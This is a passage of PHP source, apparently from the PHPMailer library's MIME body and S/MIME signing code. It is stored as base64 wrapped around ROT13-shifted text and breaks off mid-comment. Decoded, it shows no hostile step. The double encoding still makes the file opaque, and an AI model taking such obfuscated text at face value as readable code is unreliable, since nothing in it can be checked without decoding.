WlIgY25lZ2Ygem5sIGJheWwgaGZyIDdvdmcsIDhvdmcgYmUgb3ZhbmVsIFBHUgogICAgICAgICAgICB2cyAoJHZmemh5Z3ZjbmVnKSB7CiAgICAgICAgICAgICAgICB2cyAoJGd1dmYtPlJhcGJxdmF0ID09ICc4b3ZnJykgewogICAgICAgICAgICAgICAgICAgICRlcmZoeWcgLj0gJGd1dmYtPnVybnFyZVl2YXIoJ1BiYWdyYWctR2VuYWZzcmUtUmFwYnF2YXQnLCAnOG92ZycpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8gR3VyIGJheWwgZXJ6bnZhdmF0IG55Z3JlYW5ndmlyZiBuZXIgZGhiZ3JxLWNldmFnbm95ciBuYXEgb25mcjY0LCBqdXZwdSBuZXIgb2JndSA3b3ZnIHBiemNuZ3ZveXIKICAgICAgICAgICAgfSByeWZyIHsKICAgICAgICAgICAgICAgICRlcmZoeWcgLj0gJGd1dmYtPnVybnFyZVl2YXIoJ1BiYWdyYWctR2VuYWZzcmUtUmFwYnF2YXQnLCAkZ3V2Zi0+UmFwYnF2YXQpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICB2cyAoJGd1dmYtPlpudnlyZSAhPSAnem52eScpIHsKICAgICAgICAgICAgJGVyZmh5ZyAuPSAkZ3V2Zi0+WVI7CiAgICAgICAgfQoKICAgICAgICBlcmdoZWEgJGVyZmh5ZzsKICAgIH0KCiAgICAvKioKICAgICAqIEVyZ2hlYWYgZ3VyIGp1YnlyIFpWWlIgenJmZm50ci4KICAgICAqIFZhcHlocXJmIHBiemN5cmdyIHVybnFyZWYgbmFxIG9icWwuCiAgICAgKiBCYXlsIGlueXZxIGNiZmcgY2VyRnJhcSgpLgogICAgICogQGZyciBDVUNabnZ5cmU6OmNlckZyYXEoKQogICAgICogQG5wcHJmZiBjaG95dnAKICAgICAqIEBlcmdoZWEgZmdldmF0CiAgICAgKi8KICAgIGNob3l2cCBzaGFwZ3ZiYSB0cmdGcmFnWlZaUlpyZmZudHIoKQogICAgewogICAgICAgIGVyZ2hlYSBlZ2V2eigkZ3V2Zi0+WlZaUlVybnFyZSAuICRndXZmLT56bnZ5VXJucXJlLCAiXGFcZSIpIC4gZnJ5czo6UEVZUyAuIGZyeXM6OlBFWVMgLiAkZ3V2Zi0+WlZaUk9icWw7CiAgICB9CgogICAgLyoqCiAgICAgKiBQZXJuZ3IgaGF2ZGhyIFZRCiAgICAgKiBAZXJnaGVhIGZnZXZhdAogICAgICovCiAgICBjZWJncnBncnEgc2hhcGd2YmEgdHJhcmVuZ3JWcSgpIHsKICAgICAgICBlcmdoZWEgenE1KGhhdmR2cShndnpyKCkpKTsKICAgIH0KCiAgICAvKioKICAgICAqIE5mZnJ6b3lyIGd1ciB6cmZmbnRyIG9icWwuCiAgICAgKiBFcmdoZWFmIG5hIHJ6Y2dsIGZnZXZhdCBiYSBzbnZ5aGVyLgogICAgICogQG5wcHJmZiBjaG95dnAKICAgICAqIEBndWViamYgY3Vjem52eXJlUmtwcmNndmJhCiAgICAgKiBAZXJnaGVhIGZnZXZhdCBHdXIgbmZmcnpveXJxIHpyZmZudHIgb2JxbAogICAgICovCiAgICBjaG95dnAgc2hhcGd2YmEgcGVybmdyT2JxbCgpCiAgICB7CiAgICAgICAgJG9icWwgPSAnJzsKICAgICAgICAvL1Blcm5nciBoYXZkaHIgVlFmIG5hcSBjZXJmcmcgb2JoYXFuZXZyZgogICAgICAgICRndXZmLT5oYXZkaHJ2cSA9ICRndXZmLT50cmFyZW5nclZxKCk7CiAgICAgICAgJGd1dmYtPm9iaGFxbmVsWzFdID0gJ28xXycgLiAkZ3V2Zi0+aGF2ZGhydnE7CiAgICAgICAgJGd1dmYtPm9iaGFxbmVsWzJdID0gJ28yXycgLiAkZ3V2Zi0+aGF2ZGhydnE7CiAgICAgICAgJGd1dmYtPm9iaGFxbmVsWzNdID0gJ28zXycgLiAkZ3V2Zi0+aGF2ZGhydnE7CgogICAgICAgIHZzICgkZ3V2Zi0+ZnZ0YV94cmxfc3Z5cikgewogICAgICAgICAgICAkb2JxbCAuPSAkZ3V2Zi0+dHJnWm52eVpWWlIoKSAuICRndXZmLT5ZUjsKICAgICAgICB9CgogICAgICAgICRndXZmLT5mcmdKYmVxSmVuYygpOwoKICAgICAgICAkb2JxbFJhcGJxdmF0ID0gJGd1dmYtPlJhcGJxdmF0OwogICAgICAgICRvYnFsUHVuZUZyZyA9ICRndXZmLT5QdW5lRnJnOwogICAgICAgIC8vUG5hIGpyIHFiIG4gNy1vdmcgcWJqYXRlbnFyPwogICAgICAgIHZzICgkb2JxbFJhcGJxdmF0ID09ICc4b3ZnJyBuYXEgISRndXZmLT51bmY4b3ZnUHVuZWYoJGd1dmYtPk9icWwpKSB7CiAgICAgICAgICAgICRvYnFsUmFwYnF2YXQgPSAnN292Zyc7CiAgICAgICAgICAgIC8vTnl5IFZGQiA4ODU5LCBKdmFxYmpmIHBicXJjbnRyIG5hcSBIR1MtOCBwdW5lZnJnZiBuZXIgbmZwdnYgcGJ6Y25ndm95ciBoYyBnYiA3LW92ZwogICAgICAgICAgICAkb2JxbFB1bmVGcmcgPSAnaGYtbmZwdnYnOwogICAgICAgIH0KICAgICAgICAvL1ZzIHl2YXJmIG5lciBnYmIgeWJhdCwgbmFxIGpyJ2VyIGFiZyBueWVybnFsIGhmdmF0IG5hIHJhcGJxdmF0IGd1bmcganZ5eSBmdWJlZ3JhIGd1cnosCiAgICAgICAgLy9wdW5hdHIgZ2IgZGhiZ3JxLWNldmFnbm95ciBnZW5hZnNyZSByYXBicXZhdCBzYmUgZ3VyIG9icWwgY25lZyBiYXlsCiAgICAgICAgdnMgKCdvbmZyNjQnICE9ICRndXZmLT5SYXBicXZhdCBuYXEgZnJ5czo6dW5mWXZhclliYXRyZUd1bmFabmsoJGd1dmYtPk9icWwpKSB7CiAgICAgICAgICAgICRvYnFsUmFwYnF2YXQgPSAnZGhiZ3JxLWNldmFnbm95cic7CiAgICAgICAgfQoKICAgICAgICAkbnlnT2JxbFJhcGJxdmF0ID0gJGd1dmYtPlJhcGJxdmF0OwogICAgICAgICRueWdPYnFsUHVuZUZyZyA9ICRndXZmLT5QdW5lRnJnOwogICAgICAgIC8vUG5hIGpyIHFiIG4gNy1vdmcgcWJqYXRlbnFyPwogICAgICAgIHZzICgkbnlnT2JxbFJhcGJxdmF0ID09ICc4b3ZnJyBuYXEgISRndXZmLT51bmY4b3ZnUHVuZWYoJGd1dmYtPk55Z09icWwpKSB7CiAgICAgICAgICAgICRueWdPYnFsUmFwYnF2YXQgPSAnN292Zyc7CiAgICAgICAgICAgIC8vTnl5IFZGQiA4ODU5LCBKdmFxYmpmIHBicXJjbnRyIG5hcSBIR1MtOCBwdW5lZnJnZiBuZXIgbmZwdnYgcGJ6Y25ndm95ciBoYyBnYiA3LW92ZwogICAgICAgICAgICAkbnlnT2JxbFB1bmVGcmcgPSAnaGYtbmZwdnYnOwogICAgICAgIH0KICAgICAgICAvL1ZzIHl2YXJmIG5lciBnYmIgeWJhdCwgbmFxIGpyJ2VyIGFiZyBueWVybnFsIGhmdmF0IG5hIHJhcGJxdmF0IGd1bmcganZ5eSBmdWJlZ3JhIGd1cnosCiAgICAgICAgLy9wdW5hdHIgZ2IgZGhiZ3JxLWNldmFnbm95ciBnZW5hZnNyZSByYXBicXZhdCBzYmUgZ3VyIG55ZyBvYnFsIGNuZWcgYmF5bAogICAgICAgIHZzICgnb25mcjY0JyAhPSAkbnlnT2JxbFJhcGJxdmF0IG5hcSBmcnlzOjp1bmZZdmFyWWJhdHJlR3VuYVpuaygkZ3V2Zi0+TnlnT2JxbCkpIHsKICAgICAgICAgICAgJG55Z09icWxSYXBicXZhdCA9ICdkaGJncnEtY2V2YWdub3lyJzsKICAgICAgICB9CiAgICAgICAgLy9IZnIgZ3V2ZiBuZiBuIGNlcm56b3lyIHZhIG55eSB6aHlndmNuZWcgenJmZm50ciBnbGNyZgogICAgICAgICR6dnpyY2VyID0gIkd1dmYgdmYgbiB6aHlndi1jbmVnIHpyZmZudHIgdmEgWlZaUiBzYmV6bmcuIiAuICRndXZmLT5ZUiAuICRndXZmLT5ZUjsKICAgICAgICBmanZncHUgKCRndXZmLT56cmZmbnRyX2dsY3IpIHsKICAgICAgICAgICAgcG5mciAndmF5dmFyJzoKICAgICAgICAgICAgICAgICRvYnFsIC49ICR6dnpyY2VyOwogICAgICAgICAgICAgICAgJG9icWwgLj0gJGd1dmYtPnRyZ09iaGFxbmVsKCRndXZmLT5vYmhhcW5lbFsxXSwgJG9icWxQdW5lRnJnLCAnJywgJG9icWxSYXBicXZhdCk7CiAgICAgICAgICAgICAgICAkb2JxbCAuPSAkZ3V2Zi0+cmFwYnFyRmdldmF0KCRndXZmLT5PYnFsLCAkb2JxbFJhcGJxdmF0KTsKICAgICAgICAgICAgICAgICRvYnFsIC49ICRndXZmLT5ZUiAuICRndXZmLT5ZUjsKICAgICAgICAgICAgICAgICRvYnFsIC49ICRndXZmLT5uZ2ducHVOeXkoJ3ZheXZhcicsICRndXZmLT5vYmhhcW5lbFsxXSk7CiAgICAgICAgICAgICAgICBvZXJueDsKICAgICAgICAgICAgcG5mciAnbmdnbnB1JzoKICAgICAgICAgICAgICAgICRvYnFsIC49ICR6dnpyY2VyOwogICAgICAgICAgICAgICAgJG9icWwgLj0gJGd1dmYtPnRyZ09iaGFxbmVsKCRndXZmLT5vYmhhcW5lbFsxXSwgJG9icWxQdW5lRnJnLCAnJywgJG9icWxSYXBicXZhdCk7CiAgICAgICAgICAgICAgICAkb2JxbCAuPSAkZ3V2Zi0+cmFwYnFyRmdldmF0KCRndXZmLT5PYnFsLCAkb2JxbFJhcGJxdmF0KTsKICAgICAgICAgICAgICAgICRvYnFsIC49ICRndXZmLT5ZUiAuICRndXZmLT5ZUjsKICAgICAgICAgICAgICAgICRvYnFsIC49ICRndXZmLT5uZ2ducHVOeXkoJ25nZ25wdXpyYWcnLCAkZ3V2Zi0+b2JoYXFuZWxbMV0pOwogICAgICAgICAgICAgICAgb2Vybng7CiAgICAgICAgICAgIHBuZnIgJ3ZheXZhcl9uZ2ducHUnOgogICAgICAgICAgICAgICAgJG9icWwgLj0gJHp2enJjZXI7CiAgICAgICAgICAgICAgICAkb2JxbCAuPSAkZ3V2Zi0+Z3JrZ1l2YXIoJy0tJyAuICRndXZmLT5vYmhhcW5lbFsxXSk7CiAgICAgICAgICAgICAgICAkb2JxbCAuPSAkZ3V2Zi0+dXJucXJlWXZhcignUGJhZ3JhZy1HbGNyJywgJ3poeWd2Y25lZy9lcnluZ3JxOycpOwogICAgICAgICAgICAgICAgJG9icWwgLj0gJGd1dmYtPmdya2dZdmFyKCJcZ29iaGFxbmVsPVwiIiAuICRndXZmLT5vYmhhcW5lbFsyXSAuICciJyk7CiAgICAgICAgICAgICAgICAkb2JxbCAuPSAkZ3V2Zi0+WVI7CiAgICAgICAgICAgICAgICAkb2JxbCAuPSAkZ3V2Zi0+dHJnT2JoYXFuZWwoJGd1dmYtPm9iaGFxbmVsWzJdLCAkb2JxbFB1bmVGcmcsICcnLCAkb2JxbFJhcGJxdmF0KTsKICAgICAgICAgICAgICAgICRvYnFsIC49ICRndXZmLT5yYXBicXJGZ2V2YXQoJGd1dmYtPk9icWwsICRvYnFsUmFwYnF2YXQpOwogICAgICAgICAgICAgICAgJG9icWwgLj0gJGd1dmYtPllSIC4gJGd1dmYtPllSOwogICAgICAgICAgICAgICAgJG9icWwgLj0gJGd1dmYtPm5nZ25wdU55eSgndmF5dmFyJywgJGd1dmYtPm9iaGFxbmVsWzJdKTsKICAgICAgICAgICAgICAgICRvYnFsIC49ICRndXZmLT5ZUjsKICAgICAgICAgICAgICAgICRvYnFsIC49ICRndXZmLT5uZ2ducHVOeXkoJ25nZ25wdXpyYWcnLCAkZ3V2Zi0+b2JoYXFuZWxbMV0pOwogICAgICAgICAgICAgICAgb2Vybng7CiAgICAgICAgICAgIHBuZnIgJ255Zyc6CiAgICAgICAgICAgICAgICAkb2JxbCAuPSAkenZ6cmNlcjsKICAgICAgICAgICAgICAgICRvYnFsIC49ICRndXZmLT50cmdPYmhhcW5lbCgkZ3V2Zi0+b2JoYXFuZWxbMV0sICRueWdPYnFsUHVuZUZyZywgJ2dya2cvY3ludmEnLCAkbnlnT2JxbFJhcGJxdmF0KTsKICAgICAgICAgICAgICAgICRvYnFsIC49ICRndXZmLT5yYXBicXJGZ2V2YXQoJGd1dmYtPk55Z09icWwsICRueWdPYnFsUmFwYnF2YXQpOwogICAgICAgICAgICAgICAgJG9icWwgLj0gJGd1dmYtPllSIC4gJGd1dmYtPllSOwogICAgICAgICAgICAgICAgJG9icWwgLj0gJGd1dmYtPnRyZ09iaGFxbmVsKCRndXZmLT5vYmhhcW5lbFsxXSwgJG9icWxQdW5lRnJnLCAnZ3JrZy91Z3p5JywgJG9icWxSYXBicXZhdCk7CiAgICAgICAgICAgICAgICAkb2JxbCAuPSAkZ3V2Zi0+cmFwYnFyRmdldmF0KCRndXZmLT5PYnFsLCAkb2JxbFJhcGJxdmF0KTsKICAgICAgICAgICAgICAgICRvYnFsIC49ICRndXZmLT5ZUiAuICRndXZmLT5ZUjsKICAgICAgICAgICAgICAgIHZzICghcnpjZ2woJGd1dmYtPlZwbnkpKSB7CiAgICAgICAgICAgICAgICAgICAgJG9icWwgLj0gJGd1dmYtPnRyZ09iaGFxbmVsKCRndXZmLT5vYmhhcW5lbFsxXSwgJycsICdncmtnL3BueXJhcW5lOyB6cmd1YnE9RVJESFJGRycsICcnKTsKICAgICAgICAgICAgICAgICAgICAkb2JxbCAuPSAkZ3V2Zi0+cmFwYnFyRmdldmF0KCRndXZmLT5WcG55LCAkZ3V2Zi0+UmFwYnF2YXQpOwogICAgICAgICAgICAgICAgICAgICRvYnFsIC49ICRndXZmLT5ZUiAuICRndXZmLT5ZUjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRvYnFsIC49ICRndXZmLT5yYXFPYmhhcW5lbCgkZ3V2Zi0+b2JoYXFuZWxbMV0pOwogICAgICAgICAgICAgICAgb2Vybng7CiAgICAgICAgICAgIHBuZnIgJ255Z192YXl2YXInOgogICAgICAgICAgICAgICAgJG9icWwgLj0gJHp2enJjZXI7CiAgICAgICAgICAgICAgICAkb2JxbCAuPSAkZ3V2Zi0+dHJnT2JoYXFuZWwoJGd1dmYtPm9iaGFxbmVsWzFdLCAkbnlnT2JxbFB1bmVGcmcsICdncmtnL2N5bnZhJywgJG55Z09icWxSYXBicXZhdCk7CiAgICAgICAgICAgICAgICAkb2JxbCAuPSAkZ3V2Zi0+cmFwYnFyRmdldmF0KCRndXZmLT5OeWdPYnFsLCAkbnlnT2JxbFJhcGJxdmF0KTsKICAgICAgICAgICAgICAgICRvYnFsIC49ICRndXZmLT5ZUiAuICRndXZmLT5ZUjsKICAgICAgICAgICAgICAgICRvYnFsIC49ICRndXZmLT5ncmtnWXZhcignLS0nIC4gJGd1dmYtPm9iaGFxbmVsWzFdKTsKICAgICAgICAgICAgICAgICRvYnFsIC49ICRndXZmLT51cm5xcmVZdmFyKCdQYmFncmFnLUdsY3InLCAnemh5Z3ZjbmVnL2VyeW5ncnE7Jyk7CiAgICAgICAgICAgICAgICAkb2JxbCAuPSAkZ3V2Zi0+Z3JrZ1l2YXIoIlxnb2JoYXFuZWw9XCIiIC4gJGd1dmYtPm9iaGFxbmVsWzJdIC4gJyInKTsKICAgICAgICAgICAgICAgICRvYnFsIC49ICRndXZmLT5ZUjsKICAgICAgICAgICAgICAgICRvYnFsIC49ICRndXZmLT50cmdPYmhhcW5lbCgkZ3V2Zi0+b2JoYXFuZWxbMl0sICRvYnFsUHVuZUZyZywgJ2dya2cvdWd6eScsICRvYnFsUmFwYnF2YXQpOwogICAgICAgICAgICAgICAgJG9icWwgLj0gJGd1dmYtPnJhcGJxckZnZXZhdCgkZ3V2Zi0+T2JxbCwgJG9icWxSYXBicXZhdCk7CiAgICAgICAgICAgICAgICAkb2JxbCAuPSAkZ3V2Zi0+WVIgLiAkZ3V2Zi0+WVI7CiAgICAgICAgICAgICAgICAkb2JxbCAuPSAkZ3V2Zi0+bmdnbnB1Tnl5KCd2YXl2YXInLCAkZ3V2Zi0+b2JoYXFuZWxbMl0pOwogICAgICAgICAgICAgICAgJG9icWwgLj0gJGd1dmYtPllSOwogICAgICAgICAgICAgICAgJG9icWwgLj0gJGd1dmYtPnJhcU9iaGFxbmVsKCRndXZmLT5vYmhhcW5lbFsxXSk7CiAgICAgICAgICAgICAgICBvZXJueDsKICAgICAgICAgICAgcG5mciAnbnlnX25nZ25wdSc6CiAgICAgICAgICAgICAgICAkb2JxbCAuPSAkenZ6cmNlcjsKICAgICAgICAgICAgICAgICRvYnFsIC49ICRndXZmLT5ncmtnWXZhcignLS0nIC4gJGd1dmYtPm9iaGFxbmVsWzFdKTsKICAgICAgICAgICAgICAgICRvYnFsIC49ICRndXZmLT51cm5xcmVZdmFyKCdQYmFncmFnLUdsY3InLCAnemh5Z3ZjbmVnL255Z3JlYW5ndmlyOycpOwogICAgICAgICAgICAgICAgJG9icWwgLj0gJGd1dmYtPmdya2dZdmFyKCJcZ29iaGFxbmVsPVwiIiAuICRndXZmLT5vYmhhcW5lbFsyXSAuICciJyk7CiAgICAgICAgICAgICAgICAkb2JxbCAuPSAkZ3V2Zi0+WVI7CiAgICAgICAgICAgICAgICAkb2JxbCAuPSAkZ3V2Zi0+dHJnT2JoYXFuZWwoJGd1dmYtPm9iaGFxbmVsWzJdLCAkbnlnT2JxbFB1bmVGcmcsICdncmtnL2N5bnZhJywgJG55Z09icWxSYXBicXZhdCk7CiAgICAgICAgICAgICAgICAkb2JxbCAuPSAkZ3V2Zi0+cmFwYnFyRmdldmF0KCRndXZmLT5OeWdPYnFsLCAkbnlnT2JxbFJhcGJxdmF0KTsKICAgICAgICAgICAgICAgICRvYnFsIC49ICRndXZmLT5ZUiAuICRndXZmLT5ZUjsKICAgICAgICAgICAgICAgICRvYnFsIC49ICRndXZmLT50cmdPYmhhcW5lbCgkZ3V2Zi0+b2JoYXFuZWxbMl0sICRvYnFsUHVuZUZyZywgJ2dya2cvdWd6eScsICRvYnFsUmFwYnF2YXQpOwogICAgICAgICAgICAgICAgJG9icWwgLj0gJGd1dmYtPnJhcGJxckZnZXZhdCgkZ3V2Zi0+T2JxbCwgJG9icWxSYXBicXZhdCk7CiAgICAgICAgICAgICAgICAkb2JxbCAuPSAkZ3V2Zi0+WVIgLiAkZ3V2Zi0+WVI7CiAgICAgICAgICAgICAgICAkb2JxbCAuPSAkZ3V2Zi0+cmFxT2JoYXFuZWwoJGd1dmYtPm9iaGFxbmVsWzJdKTsKICAgICAgICAgICAgICAgICRvYnFsIC49ICRndXZmLT5ZUjsKICAgICAgICAgICAgICAgICRvYnFsIC49ICRndXZmLT5uZ2ducHVOeXkoJ25nZ25wdXpyYWcnLCAkZ3V2Zi0+b2JoYXFuZWxbMV0pOwogICAgICAgICAgICAgICAgb2Vybng7CiAgICAgICAgICAgIHBuZnIgJ255Z192YXl2YXJfbmdnbnB1JzoKICAgICAgICAgICAgICAgICRvYnFsIC49ICR6dnpyY2VyOwogICAgICAgICAgICAgICAgJG9icWwgLj0gJGd1dmYtPmdya2dZdmFyKCctLScgLiAkZ3V2Zi0+b2JoYXFuZWxbMV0pOwogICAgICAgICAgICAgICAgJG9icWwgLj0gJGd1dmYtPnVybnFyZVl2YXIoJ1BiYWdyYWctR2xjcicsICd6aHlndmNuZWcvbnlncmVhbmd2aXI7Jyk7CiAgICAgICAgICAgICAgICAkb2JxbCAuPSAkZ3V2Zi0+Z3JrZ1l2YXIoIlxnb2JoYXFuZWw9XCIiIC4gJGd1dmYtPm9iaGFxbmVsWzJdIC4gJyInKTsKICAgICAgICAgICAgICAgICRvYnFsIC49ICRndXZmLT5ZUjsKICAgICAgICAgICAgICAgICRvYnFsIC49ICRndXZmLT50cmdPYmhhcW5lbCgkZ3V2Zi0+b2JoYXFuZWxbMl0sICRueWdPYnFsUHVuZUZyZywgJ2dya2cvY3ludmEnLCAkbnlnT2JxbFJhcGJxdmF0KTsKICAgICAgICAgICAgICAgICRvYnFsIC49ICRndXZmLT5yYXBicXJGZ2V2YXQoJGd1dmYtPk55Z09icWwsICRueWdPYnFsUmFwYnF2YXQpOwogICAgICAgICAgICAgICAgJG9icWwgLj0gJGd1dmYtPllSIC4gJGd1dmYtPllSOwogICAgICAgICAgICAgICAgJG9icWwgLj0gJGd1dmYtPmdya2dZdmFyKCctLScgLiAkZ3V2Zi0+b2JoYXFuZWxbMl0pOwogICAgICAgICAgICAgICAgJG9icWwgLj0gJGd1dmYtPnVybnFyZVl2YXIoJ1BiYWdyYWctR2xjcicsICd6aHlndmNuZWcvZXJ5bmdycTsnKTsKICAgICAgICAgICAgICAgICRvYnFsIC49ICRndXZmLT5ncmtnWXZhcigiXGdvYmhhcW5lbD1cIiIgLiAkZ3V2Zi0+b2JoYXFuZWxbM10gLiAnIicpOwogICAgICAgICAgICAgICAgJG9icWwgLj0gJGd1dmYtPllSOwogICAgICAgICAgICAgICAgJG9icWwgLj0gJGd1dmYtPnRyZ09iaGFxbmVsKCRndXZmLT5vYmhhcW5lbFszXSwgJG9icWxQdW5lRnJnLCAnZ3JrZy91Z3p5JywgJG9icWxSYXBicXZhdCk7CiAgICAgICAgICAgICAgICAkb2JxbCAuPSAkZ3V2Zi0+cmFwYnFyRmdldmF0KCRndXZmLT5PYnFsLCAkb2JxbFJhcGJxdmF0KTsKICAgICAgICAgICAgICAgICRvYnFsIC49ICRndXZmLT5ZUiAuICRndXZmLT5ZUjsKICAgICAgICAgICAgICAgICRvYnFsIC49ICRndXZmLT5uZ2ducHVOeXkoJ3ZheXZhcicsICRndXZmLT5vYmhhcW5lbFszXSk7CiAgICAgICAgICAgICAgICAkb2JxbCAuPSAkZ3V2Zi0+WVI7CiAgICAgICAgICAgICAgICAkb2JxbCAuPSAkZ3V2Zi0+cmFxT2JoYXFuZWwoJGd1dmYtPm9iaGFxbmVsWzJdKTsKICAgICAgICAgICAgICAgICRvYnFsIC49ICRndXZmLT5ZUjsKICAgICAgICAgICAgICAgICRvYnFsIC49ICRndXZmLT5uZ2ducHVOeXkoJ25nZ25wdXpyYWcnLCAkZ3V2Zi0+b2JoYXFuZWxbMV0pOwogICAgICAgICAgICAgICAgb2Vybng7CiAgICAgICAgICAgIHFyc25oeWc6CiAgICAgICAgICAgICAgICAvLyBQbmdwdSBwbmZyICdjeW52YScgbmFxIHBuZnIgJycsIG5jY3l2cmYgZ2IgZnZ6Y3lyIGBncmtnL2N5bnZhYCBuYXEgYGdya2cvdWd6eWAgb2JxbCBwYmFncmFnIGdsY3JmCiAgICAgICAgICAgICAgICAvL0VyZnJnIGd1ciBgUmFwYnF2YXRgIGNlYmNyZWdsIHZhIHBuZnIganIgcHVuYXRycSB2ZyBzYmUgeXZhciB5cmF0Z3UgZXJuZmJhZgogICAgICAgICAgICAgICAgJGd1dmYtPlJhcGJxdmF0ID0gJG9icWxSYXBicXZhdDsKICAgICAgICAgICAgICAgICRvYnFsIC49ICRndXZmLT5yYXBicXJGZ2V2YXQoJGd1dmYtPk9icWwsICRndXZmLT5SYXBicXZhdCk7CiAgICAgICAgICAgICAgICBvZXJueDsKICAgICAgICB9CgogICAgICAgIHZzICgkZ3V2Zi0+dmZSZWViZSgpKSB7CiAgICAgICAgICAgICRvYnFsID0gJyc7CiAgICAgICAgfSByeWZydnMgKCRndXZmLT5mdnRhX3hybF9zdnlyKSB7CiAgICAgICAgICAgIGdlbCB7CiAgICAgICAgICAgICAgICB2cyAoIXFyc3ZhcnEoJ0NYUEY3X0dSS0cnKSkgewogICAgICAgICAgICAgICAgICAgIGd1ZWJqIGFyaiBjdWN6bnZ5cmVSa3ByY2d2YmEoJGd1dmYtPnluYXQoJ3JrZ3JhZnZiYV96dmZmdmF0JykgLiAnYmNyYWZmeScpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8gQEdCUUIgamJoeXEgb3IgYXZwciBnYiBoZnIgY3VjOi8vZ3J6YyBmZ2VybnpmIHVyZXIsIG9oZyBhcnJxIGdiIGplbmMgc2JlIENVQyA8IDUuMQogICAgICAgICAgICAgICAgJHN2eXIgPSBncnpjYW56KGZsZl90cmdfZ3J6Y19xdmUoKSwgJ3pudnknKTsKICAgICAgICAgICAgICAgIHZzIChzbnlmciA9PT0gc3Z5cl9jaGdfcGJhZ3JhZ2YoJHN2eXIsICRvYnFsKSkgewogICAgICAgICAgICAgICAgICAgIGd1ZWJqIGFyaiBjdWN6bnZ5cmVSa3ByY2d2YmEoJGd1dmYtPnluYXQoJ2Z2dGF2YXQnKSAuICcgUGJoeXEgYWJnIGpldmdyIGdyemMgc3Z5cicpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGZ2dGFycSA9IGdyemNhbnooZmxmX3RyZ19ncnpjX3F2ZSgpLCAnZnZ0YXJxJyk7CiAgICAgICAgICAgICAgICAvL0piZXhuZWJoYXEgc2JlIENVQyBvaHQgdWdnY2Y6Ly9vaHRmLmN1Yy5hcmcvb2h0LmN1Yz92cT02OTE5NwogICAgICAgICAgICAgICAgdnMgKHJ6Y2dsKCRndXZmLT5mdnRhX3JrZ2VucHJlZ2Zfc3Z5cikpIHsKICAgICAgICAgICAgICAgICAgICAkZnZ0YSA9IEBiY3JhZmZ5X2N4cGY3X2Z2dGEoCiAgICAgICAgICAgICAgICAgICAgICAgICRzdnlyLAogICAgICAgICAgICAgICAgICAgICAgICAkZnZ0YXJxLAogICAgICAgICAgICAgICAgICAgICAgICAnc3Z5cjovLycgLiBlcm55Y25ndSgkZ3V2Zi0+ZnZ0YV9wcmVnX3N2eXIpLAogICAgICAgICAgICAgICAgICAgICAgICBuZWVubCgnc3Z5cjovLycgLiBlcm55Y25ndSgkZ3V2Zi0+ZnZ0YV94cmxfc3Z5ciksICRndXZmLT5mdnRhX3hybF9jbmZmKSwKICAgICAgICAgICAgICAgICAgICAgICAgYWh5eQogICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICB9IHJ5ZnIgewogICAgICAgICAgICAgICAgICAgICRmdnRhID0gQGJjcmFmZnlfY3hwZjdfZnZ0YSgKICAgICAgICAgICAgICAgICAgICAgICAgJHN2eXIsCiAgICAgICAgICAgICAgICAgICAgICAgICRmdnRhcnEsCiAgICAgICAgICAgICAgICAgICAgICAgICdzdnlyOi8vJyAuIGVybnljbmd1KCRndXZmLT5mdnRhX3ByZWdfc3Z5ciksCiAgICAgICAgICAgICAgICAgICAgICAgIG5lZW5sKCdzdnlyOi8vJyAuIGVybnljbmd1KCRndXZmLT5mdnRhX3hybF9zdnlyKSwgJGd1dmYtPmZ2dGFfeHJsX2NuZmYpLAogICAgICAgICAgICAgICAgICAgICAgICBhaHl5LAogICAgICAgICAgICAgICAgICAgICAgICBDWFBGN19RUkdOUFVSUSwKICAgICAgICAgICAgICAgICAgICAgICAgJGd1dmYtPmZ2dGFfcmtnZW5wcmVnZl9zdnlyCiAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHZzICgkZnZ0YSkgewogICAgICAgICAgICAgICAgICAgIEBoYXl2YXgoJHN2eXIpOwogICAgICAgICAgICAgICAgICAgICRvYnFsID0gc3Z5cl90cmdfcGJhZ3JhZ2YoJGZ2dGFycSk7CiAgICAgICAgICAgICAgICAgICAgQGhheXZheCgkZnZ0YXJxKTsKICAgICAgICAgICAgICAgICAgICAvL0d1ciB6cmZmbnRyIGVyZ2hlYXJxIG9sIGJjcmFmZnkgcGJhZ252YWYgb2JndSB1cm5xcmVmIG5hcSBvYnFsLCBmYiBhcnJxIGdiIGZjeXZnIGd1cnogaGMKICAgICAgICAgICAgICAgICAgICAkY25lZ2YgPSBya2N5YnFyKCJcYVxhIiwgJG9icWwsIDIpOwogICAgICAgICAgICAgICAgICAgICRndXZmLT5aVlpSVXJucXJlIC49ICRjbmVnZlswXSAuICRndXZmLT5ZUiAuICRndXZmLT5ZUjsKICAgICAgICAgICAgICAgICAgICAkb2JxbCA9ICRjbmVnZlsxXTsKICAgICAgICAgICAgICAgIH0gcnlmciB7CiAgICAgICAgICAgICAgICAgICAgQGhheXZheCgkc3Z5cik7CiAgICAgICAgICAgICAgICAgICAgQGhheXZheCgkZnZ0YXJxKTsKICAgICAgICAgICAgICAgICAgICBndWViaiBhcmogY3Vjem52eXJlUmtwcmNndmJhKCRndXZmLT55bmF0KCdmdnRhdmF0JykgLiBiY3JhZmZ5X3JlZWJlX2ZnZXZhdCgpKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBwbmdwdSAoY3Vjem52eXJlUmtwcmNndmJhICRya3ApIHsKICAgICAgICAgICAgICAgICRvYnFsID0gJyc7CiAgICAgICAgICAgICAgICB2cyAoJGd1dmYtPnJrcHJjZ3ZiYWYpIHsKICAgICAgICAgICAgICAgICAgICBndWViaiAkcmtwOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVyZ2hlYSAkb2JxbDsKICAgIH0KCiAgICAvKioKICAgICAqIEVyZ2hlYSBndXIgZmduZWcgYnMgbiB6cmZmbnRyIG9iaGFxbmVsLgogICAgICogQG5wcHJmZiBjZWJncnBncnEKICAgICAqIEBjbmVueiBmZ2V2YXQgJG9iaGFxbmVsCiAgICAgKiBAY25lbnogZmdldmF0ICRwdW5lRnJnCiAgICAgKiBAY25lbnogZmdldmF0ICRwYmFncmFnR2xjcgogICAgICogQGNuZW56IGZn